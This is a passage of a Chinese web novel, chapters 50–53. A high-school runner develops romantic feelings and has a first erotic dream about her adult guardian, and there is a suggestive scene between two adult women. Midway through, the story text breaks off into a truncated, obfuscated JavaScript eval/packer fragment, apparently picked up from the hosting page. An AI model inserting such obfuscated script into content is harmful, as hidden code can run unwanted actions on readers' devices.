她真的是……老师一直教育她们要不畏强权,要活出年轻的精彩,可是……她入学以来,第一次“忤逆”了老师几句,就被叫家长了,最让她不可思议的是她给楚心柔打电话告诉她自己又被叫家长的时候,电话那边的姐姐好像还挺兴奋,问:“怎么?这次你是不是倒腾雪糕,被老师发现了?” 前几天,楚心柔和乔潇潇去菜市场买菜的时候,看着她直勾勾地盯着人家雪糕批发商铺,嘴里还在念叨“这是暴利行业啊,暴利,就那个和路雪,居然卖6块钱,进价也就2块,利润是四块钱!这得捡多少瓶子啊?” 楚心柔当时就只是抿嘴笑,她现在已经渐渐适应乔潇潇的过目不忘了。 乔潇潇沉默了一会儿,有点委屈:“不是姐姐,我把体育老师得罪了。” 楚心柔听出她声音里的小委屈,刚安慰了一句:“没事儿的”,电话那边,就传来杨绯棠兴奋的声音:“我去吧,这次找家长我去吧,求你了~” 乔潇潇:…… 楚心柔踩着高跟鞋来的时候,看到缩在墙角里的乔潇潇眨了眨眼,她进办公室了。 这次会面并没有持续太久,前后不过十几分钟。当乔潇潇和鹿晨、宋洋一前一后走出来时,三人的表情都显得很轻松。尤其是楚心柔,嘴角甚至挂着一丝若有若无的笑意。 “乔潇潇。” “到!” 这下,乔潇潇老实了,她当起了乖学生。 鹿晨抱着胳膊,锐利的目光像扫描仪般将乔潇潇从头到脚打量了个遍,“你以前学过跑步么?” 乔潇潇茫然地摇了摇头,她饭都吃不上了,还学跑步?她都是因为打工,跑着来回,那时候是饿着肚子跑步的,又难受又着急,滋味别提多难受了。 鹿晨手端着下巴,走到了她身边,打量了潇潇一番:“这长胳膊长腿长颈鹿一样。” 乔潇潇:??? …… 从学校往家里走,楚心柔看着气鼓鼓的乔潇潇,笑了:“你们体育老师说你是跑步的好苗子,让你去田径队,你跟人家谈钱了?” 乔潇潇有点不开心,“她说我是长颈鹿,而且她打量我的眼神,像是在看猎物。” 她已经不是之前找家长时,偷偷看乔潇潇眼神时小心翼翼的模样了,明显放松了很多,都开始蛐蛐老师了。 “搞体育的,都长了一双鹰眼。”楚心柔转头打量着乔潇潇,一直把她当小孩子,现在定睛一看,才惊觉潇潇的身姿已如抽枝的柳条般舒展开来,修长的脖颈线条流畅,肩胛骨在单薄的校服下若隐若现,一双腿笔直得像是用尺子量出来的,连手腕到指尖的弧度都透着青春的张力。 “最近长了不少吧?” 乔潇潇开心地点了点头:“嗯,是,可能是太快了,最近夜里膝盖有点疼呢。” 到了晚饭时分,乔潇潇望着桌上那盆冒着热气的大骨头汤,还有旁边崭新的钙片盒子,突然愣住了。 “这是——” 楚心柔擦着手从厨房出来:“给你补补钙。每天一个,不许忘。对了,作业写完了吗?”她顿了顿,“晚点再出摊吧,你杨姐姐说要来跟你比试跑步。” 乔潇潇:??? 杨姐姐来的时候风风火火的,不仅准时赴约,还一口气干掉了半盆骨头汤。她心满意足地拍着圆滚滚的肚子,非要拉着楚心柔当裁判,一行人浩浩荡荡杀到了三中后操场。 月光如水,晚风轻拂。楚心柔一袭白裙随风飘动,耳畔的流苏耳环在夜色中闪着细碎的光。她抄起提前准备好的汤勺当发令枪,一本正经地清了清嗓子:“预备——开始!” 杨绯棠并没有骗人,她18岁的时候,真的是学校长跑冠军,可也仅限于18岁…… 如今,对于乔潇潇来说,这位姐姐实在是有点HelloKitty级别,她根本就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚心柔看着杨绯棠优雅地抚平裙摆,迈着轻盈的步子向乔潇潇走去,只见她神秘兮兮地凑到乔潇潇耳边低语,还故意朝楚心柔的方向使了个眼色。 带孩子很不容易,楚心柔跟每个家长的心态一样,一眨不眨地关注着俩人的一举一动。她看着乔潇潇先是蹙起眉望向她,又看着杨绯棠说了几句什么,乔潇潇明显不乐意了,撇了撇嘴,到最后,她突然重重地点了点头,再看向自己的时候,眼神里带着一股子不服与冲劲儿。 她看过很多种乔潇潇,唯独这样的,没有看过。 楚心柔:??? 杨绯棠得意地晃回来,面对楚心柔探究的目光,摆出高深莫测的表情。 楚心柔终于是忍不住了,问:“你到底说了什么啊?” 杨绯棠哼着小曲,装没听见,她能告诉楚心柔她跟乔潇潇说“你楚姐姐特别喜欢搞体育的人,尤其是田径的,以前资助的一个小孩可厉害了,都入选省队了吗?”。 ——不能! 50-60 51 第51章 ◎第一次春梦。◎ ——你摸摸我。 乔潇潇撅着脸蛋子,表情无比认真,“没有走夜路,你摸摸嘛。” 她想看看是不是和姐姐一样。 杨绯棠愣在原地看着她,怎么会有人能用天真无邪的目光做出这样“诱.惑”的动作? 杨姐姐真的是在乔潇潇的成长之路上承受了太多了。 她冷笑一声,撸起袖子,往掌心“呸呸”啐了两口,拿出力拔山河西的态势:“我来了!” …… 楚心柔正在洗潇潇爱吃的金针菇,这孩子回来之后,她的心情明显好很多,心里已经哼起了小曲。 潇潇不在家,她总觉得心里空落落的。 与其说潇潇害怕离开,不如说她现在已经离不开那孩子了。 冷不丁的,乔潇潇大冤种一样站在身后,声音沉闷:“我来吧。” 楚心柔一扭头,看到她红肿的脸蛋子,愣了一下:“这是怎么了?” 怎么了? 乔潇潇真的是服了她杨姐姐了,做个人不好吗?拧她使劲到呲牙咧嘴。 这顿火锅吃得酣畅淋漓。红油汤底在铜锅里咕嘟咕嘟翻滚,嫩牛肉片入锅即卷,裹满芝麻酱送入口中,鲜香顿时在舌尖炸开。 冰镇可乐的凉意刚好中和了舌尖的麻辣,让乔潇潇忍不住发出一声满足的喟叹。 还是回家好啊。 杨绯棠看着崽子,感觉她又瘦了点,“怎么样啊?这趟赚了多少小钱?” “你可忒俗了,提什么小钱啊。”乔潇潇听了直摇头,杨绯棠愣了愣,对着楚心柔笑了:“哎呦,瞧瞧,咱家崽子长大了。” 最爱钱的人居然不提钱了。 乔潇潇吃了一口金针菇:“要赚也得赚大钱。” 杨绯棠:…… 乔潇潇夹了片毛肚在红汤里涮着,热气氤氲中她的眼睛格外亮:“这回去义乌可不光是进货,我还特意找了几个做饰品批发的老板。” 她放下筷子,从包里掏出几条红绳手链,“喏,给他们看这个,结果一个个都摇头。” 杨绯棠接过手链细细端详。红绳编织得精巧细腻,每一处结扣都透着用心,她和楚心柔也帮过乔潇潇编手链,但都不如她手巧。 “他们说义乌走的是薄利多销的路子。”乔潇潇托着腮帮子,指尖轻轻敲着桌面,“像我这种纯手工的,一天编不了几条,根本拼不过机器量产的。” 楚心柔抿了口酸梅汤,玻璃杯上凝结的水珠滚落到她纤细的腕间:“所以呢?” “所以——”乔潇潇突然坐直身子,眼睛里跳动着跃跃欲试的火苗,“我想注册个品牌!” 她之前就琢磨了好久了,现在开始陆续着手了。 杨绯棠听了乐了,她看了看楚心柔,瞧瞧,崽子长大了,都开始有规划了。 楚心柔轻轻放下杯子,瓷底与玻璃转盘相碰,发出清脆的声响:“真想好了?” “嗯!”乔潇潇掏出手机划拉着备忘录,“我都打听好了,先做商标查询,再准备申请材料……”她的指尖在屏幕上快速滑动,“有些繁琐,我托学姐找了个靠谱的代理。” 虽然要多花点钱,但这个必须花。 这半年,乔潇潇已经改变凡事自己干省钱的思想了,专业的人做专业的事儿,省下的时间她可以去赚更多钱。 杨绯棠望着乔潇潇眼下淡淡的青影,她想起无数个黑天白夜,乔潇潇操劳的样子,太知道她这每一笔钱,赚的多不容易了。她觉得自己有必要适当敲打一下乔潇潇:“潇潇,创业没那么简单。” 万一赔了呢? 她得多心疼。 乔潇潇点头,“我知道,杨姐姐,但是——”她看着两个人,露出阳光爽朗的笑容:“我年轻,总要出去闯闯。” 她说这话的时候云淡风轻,可眼神里的青春勃勃意气风发却挡也挡不住。 楚心柔看着她,心里的骄傲像是这火锅汩汩的汤汁,都要溢出来了。 不过短短一年光景,当初那个怯生生的笑容已然蜕变。 此刻她笑起来的样子,像是夏夜里猝不及防绽放的烟火,明艳、炽烈、不管不顾。 风起于青萍之末,浪成于微澜之间,而少年人的征程,从来不需要理由。 与阅历丰富的姐姐们聊天就是这点好。 她们不会敷衍了事,而是真真切切地倾听乔潇潇的想法,给出建议。 杨绯棠夹了片毛肚在锅里涮着,眼神却格外认真:“做品牌最重要的是定位。目标人群是谁?要走高端精品路线,还是亲民平价路线?这些都得提前想清楚。” 楚心柔轻轻搅动着碗里的蘸料,声音温润似玉:“路要一步一步走,但眼光——”她抬眸看向乔潇潇,眼底含着期许,“要放得远些。看得远,才能走得长。” 杨绯棠好奇地看着乔潇潇:“瞧你笑的满脸褶子的样子,名字总想好了吧?” 乔潇潇听了有点腼腆,她咬了咬唇,低下了头。 杨绯棠心里“我靠”了一声,不会又跟心柔有关吧? 乔潇潇红着脸说:“就叫“青心”,化用《诗经》——青青子衿,悠悠我心,也可以理解成青山水墨间,得见本心。” 她说的文绉绉的,一般人肯定是要两眼冒光鼓掌,被忽悠了。 可杨绯棠是什么人,她笑了一声,看着楚心柔:“这幸好你没叫楚黑柔了,要不品牌叫“黑心”,估计没人买了。” 乔潇潇:…… 楚心柔:…… 看破不说破,她的杨姐姐实在是太讨厌了! 夜色渐沉,乔潇潇拖着疲惫的身子从浴室出来,头发还滴着水就倒在了床上。眼皮沉重得像挂了铅坠,一闭眼就能睡过去。 从小的苦难生活,确实让她比同龄人更早学会了坚强。可谁又能想到,这个在旁人眼里雷厉风行的姑娘,其实也是第一次独自在外闯荡? 袁璐可以撒娇,可以示弱,可以理所当然地依靠她。而她呢?她又能依靠谁? 乔潇潇知道自己必须撑住,哪怕咬着牙,也要在人前挺直腰板。那些软弱和疲惫,是绝对不能让别人看见的。 迷迷糊糊间,乔潇潇接到了糯糯的视频连线,糯糯去学校几个月,已经焕然一新了,小头发梳的一丝不苟,脸蛋也养的白白嫩嫩,她知道姐姐累,用手比划着。 ——姐姐,你看我! 她今天模模糊糊能出声了,激动的甭管几点,都要给姐姐打电话。 乔潇潇撑着眼皮,“嗯?” 她的心跳也有些不自然,想着是不是妹妹会说话了? 想到这儿,她坐直了身子,直勾勾地盯着糯糯。 这么关键的时刻,一定要认真严肃,甚至,乔潇潇都已经打开了录屏。 姐姐整的这么“高规格”,一下子给糯糯干紧张了,她盯着姐姐看了半天,用力地张了张嘴,“呜呜呜”了半天,最后“噗”的一声,从嘴里吹出个晶莹的泡泡。 乔潇潇:??? 糯糯:…… 乔潇潇几乎是笑趴在了床上,楚心柔进来的时候,糯糯正愤怒涨的满脸通红的挂了电话。 “笑什么呢?那么开心?” 楚心柔走过来,摸了摸她湿漉漉的长发,就知道潇潇累得不行,肯定要湿着头发睡觉了。 这么一个动作,让乔潇潇像是被点了穴,一动不动,僵住了,“糯糯……糯糯电话,意思是自己会说话了,显摆了半天,吐了个泡泡出来。” “你哦,不鼓励还笑?” 楚心柔轻轻摇头,伸手将乔潇潇湿漉漉的发丝拢在掌心。插上吹风机的瞬间,暖风裹挟着细微的电流声在发间流窜。 她的指尖穿过乔潇潇的发丝,指腹若有似无地擦过头皮。带着静电的发梢突然轻轻扬起,一股细密的酥麻感顺着脊椎窜上来,乔潇潇不自觉地缩了缩脖子。 “躲什么呀?”楚心柔的声音混在嗡嗡的风声里,温热的掌心贴着她的后颈。吹风机的暖风扫过耳后敏感的肌肤,电流般的触感让乔潇潇浑身一颤,指尖无意识地揪紧了睡衣下摆。 她……她也不知道自己在躲什么。 那些好不容易因为疲惫冲淡的旖旎,又轻轻点点地泛了上来。 发丝在热风中飞舞,楚心柔修长的手指穿梭其间,每次不经意的触碰都像落下一个小小的静电火花,炸开一片细密的战栗。 乔潇潇咬着下唇,整个人都陷在那阵令人眩晕的酥麻感里。她像是漂浮在云端的羽毛,连意识都变得轻飘飘的。 吹完头发,楚心柔将吹风机仔细收进抽屉,转身时眼睛亮晶晶的,迫不及待地伸出手:“我的礼物呢?” 从听说有礼物开始,她这颗心就像被羽毛挠着似的,痒了一整天。 乔潇潇抿嘴一笑,从枕头下取出那条贴身带了整整一周的丝绒盒子。为了这份礼物,她特意在义乌争分夺秒的行程里挤出半天,跑遍了商场每一家珠宝店。 “闭上眼睛。”她轻声说,看着对方纤长的睫毛轻轻颤动。当冰凉的金属贴上肌肤时,楚心柔才睁开眼,看见镜子里垂落在锁骨间的银色叶子,在灯光下流转着细腻的光泽。 “这是……”她的指尖轻抚过叶片纹路。 “萧萧梧叶送寒声。”乔潇潇从身后环住她,下巴抵在肩头,“第一眼看见就觉得,这片叶子在等我。” 楚心柔笑了,笑的好像将温柔坠在乔潇潇的心尖,“我会一直带着的。” 俩人又聊了一会,乔潇潇跟楚心柔总是有说不完的话,到最后困的眼皮都黏上了,楚心柔笑着摸了摸她的头发:“睡吧,乖。” 等回过神来时,房间里早已没了楚心柔的身影。她甚至记不清姐姐是什么时候离开的,又对她说了些什么。只记得栽倒在枕头上时,鼻尖还萦绕着那抹若有似无的茉莉香。那香气仿佛生了羽翼,轻柔地托着她坠入梦乡。 人生总有许多难忘的第一次。第一次睁眼看见的世界,第一次蹒跚学步,第一次喊出妈妈,第一次心动,第一次亲吻…… 而乔潇潇的第一次春梦,来得猝不及防,就在高二开学的季节。 或许是上次不小心撞见杨绯棠和薛莜莜那活色生香的场面,在她心里埋下了种子。 梦里,她时而陷在柔软如云的大床里,时而又被按在漆黑的钢琴上。身下的女人肌肤如雪,乌黑的长发像瀑布般散落。她顺着那优美的颈线一路吻上去,耳边是对方急促的喘息,和随着动作时紧时松的琴键声。 “潇潇……” 带着哭腔的声音,似哀求,似纵容。 啄着小巧的耳垂,就在她终于看清对方面容的瞬间,一声惊雷般的琴音炸响。 乔潇潇猛地睁开双眼,胸口剧烈起伏着。晨光中,楚心柔的身影逆光而立,轮廓镀着一层金边。她这才惊觉后背一片冰凉,棉质睡衣早已被冷汗浸透,湿漉漉地黏在肌肤上。 “怎么了?做噩梦了?”楚心柔的声音温柔似水,手中牛奶杯升起袅袅热气。她微微倾身,发丝垂落肩头,泛着柔和的暖棕色。 乔潇潇的呼吸骤然停滞。 晨光中,楚心柔的面容与梦境里那个意乱情迷的身影完美重叠。 这个认知如同一道闪电劈开她的理智,一股灼热的羞耻与背道感从脚底直窜上心头。 阳光忽然变得刺目起来,在视网膜上炸开一片白芒。 乔潇潇感到一阵天旋地转,耳边只剩下自己震耳欲聋的心跳声。 【作者有话说】 叶子在里面客串了![撒花] 留言过80,二更! 52 第52章 (二更) ◎楚心柔声音哽咽,重复了一遍,“潇潇,是我让你难过了么?”◎ 乔潇潇的瞳孔骤然收缩,直勾勾地盯着楚心柔,连睫毛都忘了颤动。 楚心柔被她看得心头一跳,下意识摸了摸自己的脸:“怎么了?我脸上有东西?” 乔潇潇目光像是被黏在了楚心柔身上,还能听见自己的心跳声。 楚心柔看她脸那么红,以为这几天奔波的生病了,她走向乔潇潇。 谁知那若有似无的茉莉香飘来,又搅动了梦里那一汪春水。 乔潇潇突然向后躲闪,却在后退时不小心绊到床沿,整个人跌坐在凌乱的被褥间。散开的黑发铺在雪白的床单上,衬得她脸颊那抹潮红愈发艳丽。 “小心!”楚心柔连忙伸手去扶,却在触到潇潇手腕的瞬间怔住,她肌肤滚烫得惊人,脉搏在指尖下疯狂跳动,像是要冲破薄薄的皮肤。 乔潇潇低着头,慌乱地收拾着床铺,不敢再去看姐姐一眼。 …… “所以你是说,那小崽子今早的表现很反常?” 杨绯棠懒洋洋地靠在沙发上,指尖捏着一块杏仁饼干,慢悠悠地转着圈。她听完楚心柔的描述,嘴角一翘,笑得意味深长,“还慌乱地收拾床铺?” 心柔蹙眉,指尖无意识地摩挲着咖啡杯边缘,“你说这孩子是不是那2次分班考试没考好,有阴影了?” 杨绯棠一听就*乐了,“咱家崽子是那种小格局的人么?我看啊,她这次不是为了学习。” 楚心柔抿了抿唇,眼底浮起一丝困惑,“那是品牌设计压力太大了?” 杨绯棠又摇头,咧着嘴自己在那傻笑。 楚心柔不乐意了,抢走她手里的小饼干,“不许卖弄了,赶紧说。” “你啊,一遇到她的事儿就着急。”杨绯棠翘着二郎腿继续卖弄,“不是我说你,心柔,你在别的方面可能是大佬,但是在谈恋爱方面跟我一比就是个HelloKitty。” 楚心柔冷冷地盯了她两秒,忽然伸手捏住她的脸颊,微微用力:“杨绯棠,你最好给我把话说清楚。” 杨绯棠的脸被揉成各种形状,这都挡不住她眼底的笑,她美滋滋地公布答案,“那崽子啊,肯定是做春.梦了。” 都是过来人,谁不知道啊? 楚心柔怔了怔,“不可能。” 怎么不可能? 杨绯棠红唇勾起一抹玩味的弧度:“食色性也,咱们家小狼崽子这个年纪——”她意有所指地拖长语调,“正是血气方刚的时候呢。” 她的语气里,颇有点幸灾乐祸的成分。 养孩子真的是很不容易。 哪怕是楚心柔不相信,也不得不留意。 一留意起来,她发现乔潇潇还真就不对劲儿,最近,她就跟做了坏事似的,一天天回家贼眉鼠眼的,都不敢拿正眼看她,每每目光一对视,乔潇潇就立即挪开。 楚心柔问她:“怎么了?” 乔潇潇都会摇头,身子挺的跟个木棍似的,硬邦邦地看着窗外。 而且,她每天回来也不会跟楚心柔分享一天的见闻了,总是说累了困了的,就进屋去休息了,甚至晚上她都不在客厅复习了。 这可真是太反常了。 楚心柔疑惑的同时,心里微微搓火。 到底有什么事儿,能让她这么躲着自己?这一次,家里也没来小孩啊,她不至于闹脾气啊。 楚心柔百思不得其解,而乔潇潇的日子又何尝不是度日如年。 每当夜深人静,她总会蜷缩在被窝里,咬着被角无声地自我厌弃。楚心柔是她的救赎,是将她从泥沼中拉出的光,是带她看遍世间美好的姐姐。她怎么敢……怎么配生出这样龌龊的心思? 乔潇潇试过无数种方法来扼杀心底的悸动。白天在学校时,她尚能说服自己回到姐妹相处的模式。可一旦推开家门,看到楚心柔温柔的笑靥,所有的自制力便土崩瓦解。 这种周而复始的煎熬几乎要将她逼疯——焦虑、安抚、压抑、纠结,像永无止境的莫比乌斯环,将她困在其中不得解脱。 跑道上,乔潇潇发狠般地冲刺着,直到小腿肌肉痉挛般抽搐,不得不停,才会大口大口的喘气。 “喂!”王甜甜从跳高区小跑过来,撑在栏杆上歪头看她,“这么拼命,该不会是想当队长吧?”她想得挺美,“正好,我看跳高队也选新队长呢,我要是选上,我爸爸没准就允许我不出国了,到时候,我们组一个双队长组合。”她连名字都想好了,“就叫小(潇)甜甜组合怎么样?” 汗水顺着下巴滴落在跑道上,乔潇潇直起身,碎发之下的眸子冷的像是狼,她举起拳头:“你觉得这个甜么?” 王甜甜向后一步。 干嘛啊,这么大戾气! 戾气能不大么? 不过是无处宣泄的感情化作的荆棘,日日夜夜扎在心头。 从最初的隐忍克制,到现在的自暴自弃,乔潇潇在心里将自己鞭笞了千万遍,不知感恩的白眼狼,龌龊下流的混蛋……可再多的自我唾弃,也无济于事,回到家,她还是陷入了那个黑色的漩涡。 她甚至真的认认真真的考虑过,要不要搬出去,再这样下去,她会疯的。 乔潇潇知道楚心柔对她是什么感情,就是干干净净的一个姐姐对妹妹的关心与关怀。 姐姐是不可能接受她的,潇潇自己也不敢奢望半分。 她最为害怕惶恐不安的是如果有一天,她的感情藏不住了,被姐姐发现了,楚心柔该面对怎么样的震惊愤怒与失望。 那个念头只要想一想,她的心就像是被撕开了一样,冒着汩汩鲜血。 旖旎梦境过去十天的时候,乔潇潇终于能勉强控制自己的眼神。清晨的阳光透过纱帘,她坐在餐桌前,不再躲避楚心柔关切的目光。 “潇潇……”楚心柔递来热牛奶,指尖在杯沿轻轻摩挲,“最近瘦了好多。”她欲言又止,连分班考试的成绩都不敢询问。 “学习累了么?” 乔潇潇摇头。 楚心柔又问:“那是赚钱太累了么?” 乔潇潇突然将额头抵在楚心柔的肩头,像是耗尽了所有力气。她身上淡淡的沐浴露香气混着晨间的困倦,声音轻得像是叹息:“姐姐,等以后我长大了,一定要好好报答你。” 楚心柔的手悬在半空,心头蓦地一软。这孩子向来倔强,鲜少说这样感性的话。 两枚手作的陶瓷杯静静依偎在餐桌中央,釉色在晨光里流淌,那是姐姐手把手教她,俩人一起做的,当时涂色涂了半脸的潇潇笑的像是小花猫。 乔潇潇望着它们,眼睫低垂:“我要永远陪着姐姐……” 最后几个字在唇齿间辗转,终究咽了回去——陪着你,看你……家庭美满,幸福安康。 莫名的,眼眶就湿润了,乔潇潇嗅着姐姐身上的香气,告诉自己,就到此为止吧,潇潇,不要再继续了,就这样陪着姐姐已经很好了。 楚心柔微微偏头就能看见潇潇睫毛上挂着的泪珠,但她体贴地没有点破,只是轻轻抚摸着她的发梢,给这个倔强的孩子保留最后一点逞强的体面。 晨光透过纱帘,将相偎的两人镀上一层温柔的金边。 楚心柔望着窗外摇曳的梧桐树影,在心里轻声回应:潇潇,姐姐也希望你幸福快乐啊。 那段时间,乔潇潇的笑容少了很多,就连杨绯棠见到她也是小心翼翼的打量,甚至她心里有了最坏的猜想,她家潇潇不会是爱上了什么不能爱的人吧。 她晚上也会跟薛莜莜说起这件事儿,薛莜莜跨坐在她腰间,纤细的手指无意识地卷着发梢,听完后微微蹙起眉头。 杨绯棠嘀咕着:“能是谁呢?让我们潇潇这么神魂颠倒,不过——”她光着还不忘护犊子,“甭管是谁,错过了潇潇都会后悔的。” 薛莜莜唇角勾起一抹若有似无的笑,她慵懒地向前倾身,纤纤玉指轻轻点在杨绯棠的唇上。昏黄的灯光在她瓷白的肌肤上流淌,像是给上好的羊脂玉镀上一层蜜色光晕。 “哦?”她尾音上扬,灯光映照下,她裸露的肩颈线条优美得惊人,锁骨处凹陷的阴影随着呼吸若隐若现。那肌肤白得几乎透明,在暗色床单的衬托下,更显得惊心动魄的美。 其实她心里是有一个猜测的,只是太过大胆。 美人如玉。 杨绯棠看的眼睛都直了,忍不住上前,想要破坏她,上下起伏间,让她呜咽的碎在自己的手掌。 真相,有时候离猜测,往往只有一步之遥。 乔潇潇那段时间把全部心思都放在了学习跟训练上。 春梦的事儿,或多或少的影响到了她,可到了放榜那天,乔潇潇的名字赫然出现在二班名单前列。从十班到二班的跨越,如同火箭般蹿升的成绩,让本就备受瞩目的她更添传奇色彩。 报到当日,教室外围满了慕名而来的迷弟迷妹,有人踮着脚尖张望,有人举着手机准备拍照。 乔潇潇穿着黑色帽衫,帽檐压得很低,却掩不住周身散发的清冷气质。她快步穿过人群时,不知是谁偷拍的照片已经传遍校园论坛。 [热帖]乔潇潇二班报到实况 1L:她是不是又长高了?这腿长绝了! 2L:救命啊帅哭我了!这个低头走路的侧颜杀我 3L:二班勉强配得上我女神了 4L:怎么瘦成这样?锁骨都能养鱼了 5L:这生人勿近的气场……我直接一个滑跪 教室里,乔潇潇独自坐在靠窗的位置。阳光透过玻璃在她身上勾勒出朦胧的轮廓,将周遭的喧嚣隔绝在外。她低头翻着新课本,纤长的手指在纸页间摩挲,对窗外的躁动充耳不闻。 已经不是一年前那个刚分班之后,小心翼翼卑微懦弱的她了,可当秋风乍起,她总会不自觉地想起去年此时——楚心柔一袭白裙站在校门口等她的模样。 记忆中的姐姐温柔得不可思议,裙摆被风轻轻掀起一角,那温柔的笑,治愈了她所有的不安与彷徨。 回忆越是美好。 乔潇潇就越是情绪低落,就连王甜甜和袁璐来找她,得到的也只是寥寥数语的回应。比起社交,她更愿意在跑道上耗尽最后一丝力气,直到瘫倒在草坪上大口喘息。只有在这种精疲力竭的时刻,她才能暂时摆脱那些挥之不去的念头。 训练场的灯光总是最后为她一个人点亮。当其他队员早已离开,她还在不知疲倦地一圈又一圈奔跑。常常是洗完澡回到家时,夜色已深。 “青心”已经按部就班的提上日程了,连田径队常去的自助餐厅经理都主动提出要订购一百条手链,为她热热身,来个开门红。 放在从前,“嗜钱如命”的乔潇潇早就欢呼雀跃了,在楚心柔面前要嘴不停地叨叨一晚上了,可现在的她只是木然地点头,仿佛所有的喜怒哀乐都被抽离。那些曾经能让她眼睛发亮的东西,如今就像投入一潭死水的小石子,激不起半点涟漪。 乔潇潇不止一次地怀疑,自己是不是病了。 那些曾经让她雀跃的事物——雨后青草的芬芳、晴空万里的湛蓝、甚至是账户里不断增长的数字,如今都像隔着一层雾气,模糊而黯淡。她试着像从前那样对着晚霞微笑,却发现嘴角沉重得抬不起来。 她在日记本上用力写下“放弃”两个字,墨水洇透了纸张。可心里那道伤口却像溃烂的疮疤,表面结痂了,内里仍在化脓。 训练场上,她跑得一次比一次狠,直到肺叶火烧般疼痛。汗水混着泪水砸在跑道上,很快被烈日蒸发。鹿晨担忧的目光、队友欲言又止的神情,她都视而不见。仿佛只有在这种自虐般的疲惫中,才能暂时麻痹那颗千疮百孔的心。 有时候冲澡时,热水淋在淤青的膝盖上,乔潇潇才会恍惚意识到:原来这副身体,还是会疼的。 楚心柔焦虑的不仅一次想要跟乔潇潇聊聊,可潇潇都提不起什么精神,说几句话,就低下头去。 杨绯棠安慰她,这可能是青春期的一种表现,等年龄再大一点就好了。 可楚心柔的直觉告诉她不是这样的。 深秋的傍晚,楚心柔终于按捺不住,一把攥住准备躲回房间的潇潇的手腕:“潇潇。”她的声音发颤,“是姐姐……让你难过了吗?” 乔潇潇浑身一僵,缓慢地转过头,眼里映着难以置信的光,看见楚心柔眼尾洇开胭脂般的红晕。 楚心柔声音哽咽,重复了一遍,“潇潇,是我让你难过了么?” 阳光穿过纱帘,在两人之间织就一张朦胧的网。 乔潇潇看见姐姐眼底映着自己的倒影,那么小,那么狼狈。 空气凝固了一瞬。 她的喉结滚动了一下,声音干涩得像是砂纸摩擦,“只是……有点累。” 多么拙劣的谎言。 楚心柔自然是不肯相信,她目光如炬,灼得乔潇潇无所遁形。 乔潇潇死死盯着地板,忍着不去看楚心柔。 良久,腕间的温度渐渐抽离。 楚心柔没有再追问。她仰起头,让未落的泪水倒流回心底,天花板的白炽灯在她眼底晕开一片模糊的光晕。这些辗转难眠的夜里,她想了不仅一次,如果潇潇真的住的不开心,她会同意让她搬出去。 那么明媚阳光的花朵,不能在她身边枯萎。 或许,她这样的人就是留不住哪怕一点点温情吧。 日子像被按下了慢放键,乔潇潇在灰蒙蒙的日常里渐渐麻木,她以为自己的整个高二生活,都会这样黯淡无光。 可这世间的种种就是难以预测,让潇潇“破冰”的改变,来的那么猝不及防。 【作者有话说】 二更来啦~ 53 第53章 ◎眼睛陡然睁大。◎ 田径队最近有喜事儿,队员们都在窃窃私语,她们发现鹿晨教练和跳高队的薛教练似乎擦出了火花。两人最近总是同进同出,训练场上一个眼神交汇都能让年轻队员们兴奋半天。 “你们看你们看,薛教练又来接鹿教练下班了!”刚入队的高一新生们挤在窗边,捂着嘴偷笑。阳光透过玻璃窗,将两个并肩而行的身影拉得很长。 王甜甜抱着双臂站在训练馆中央,马尾辫随着她摇头的动作轻轻晃动:“这些小屁孩,整天就知道瞎起哄。” 她转头看向角落里的乔潇潇,后者正懒洋洋地瘫在长椅上,一本《运动生理学》盖在脸上,只露出线条分明的下颌。那双无处安放的大长腿随意地支在地上,运动裤都短了一截。 “喂,你说是不是?”王甜甜踢了踢乔潇潇的鞋尖,“咱们鹿教练那么温柔知性,怎么可能看上薛教练那个糙汉子?” 书本下传来乔潇潇闷闷的声音:“提醒你一下,你现在是薛教练带的跳高组队员。” “那又怎样?”王甜甜撇撇嘴,目光却不自觉地飘向窗外。夕阳下,两位教练的身影渐行渐远,薛教练正俯身帮鹿教练系散开的鞋带,动作轻柔得不可思议,有些逆光,看不清鹿晨的表情,但是只隐隐的感觉她有些尴尬与僵硬。 如果甜甜没记错,这是她们鹿教练,这么多年第一次有情况。 “反正就是不配,不管怎么着都是不配。” 甜甜还是老样子,甭管经历了什么,转了几个队,她都是有话直说,从不藏着掖着。 她们鹿教练可是教练圈子里的香饽饽,出了名的小美女,别看她训练队员的时候不苟言笑,私下却爱说爱笑的,跟她们一点代沟都没有,穿衣服什么的也都是青春时尚,相对比起五大三粗的薛教练,总有一种大狗熊和小白兔相爱手牵手穿过森林的感觉。 她盯着看了一会儿,拿起手机“咔”地拍了一张两位教练的合影,嘟嘟囔囔:“我要给队长发过去。” 现在两个队的队长职位都是空着的,她提队长,那就一定是前队长楚鸽了。 乔潇潇拿掉脸上的书,抓住她的手,“你发给队长干什么?” 王甜甜哼哼唧唧的,“你别告诉我,你看不出来。” 看出什么? 乔潇潇盯着看着王甜甜,王甜甜甩开她的手,怒其不争:“你就一天天给我板那个死鱼脸吧,队长再不回来,家都让人偷了。” 它的感觉不会错的! 刚开始,乔潇潇还没琢磨透王甜甜话里的意思。可说来也怪,她那条信息刚发出去没多久,下午训练时,运动场就炸开了锅,楚鸽回来了。 虽然已经毕业离校,但这位前任田径队队长的魅力丝毫未减。她逆着光走来时,整个跑道都安静了几秒。楚鸽的高考成绩至今仍是队里的传奇——练了三年长跑的主力队员,居然裸分考进了邻省顶尖的音乐学院,文化课成绩直接过了一本线,连艺术特长加分都没用上。 “楚学姐!” “队长回来啦!” “哇,又美又帅啊!” …… 在学妹们的欢呼声中,楚鸽笑着挥手。她不再是记忆里那个总穿着宽松运动服的队长了。修身牛仔外套勾勒出挺拔的身姿,肩上的吉他随着步伐轻轻晃动,耳钉在阳光下闪着细碎的光。最让人移不开眼的是她挑染的栗色发梢,随着晚风轻轻扬起,整个人都散发着艺术生特有的不羁与朝气。 田径队的队友们更是齐刷刷地望向楚鸽那边,教练的话都听不进去了。王甜甜看得太入神,助跑时差点撞上薛教练,惊得这位壮实的跳高教练连连后退,差点被身后的海绵垫绊倒。 在一片此起彼伏的“学姐好”声中,鹿晨的反应显得格外冷淡。她手中的训练夹板不知不觉垂了下来,指节微微发白。当楚鸽径直朝她走来时,她只是抬了抬眼皮:“怎么突然回来了?“ 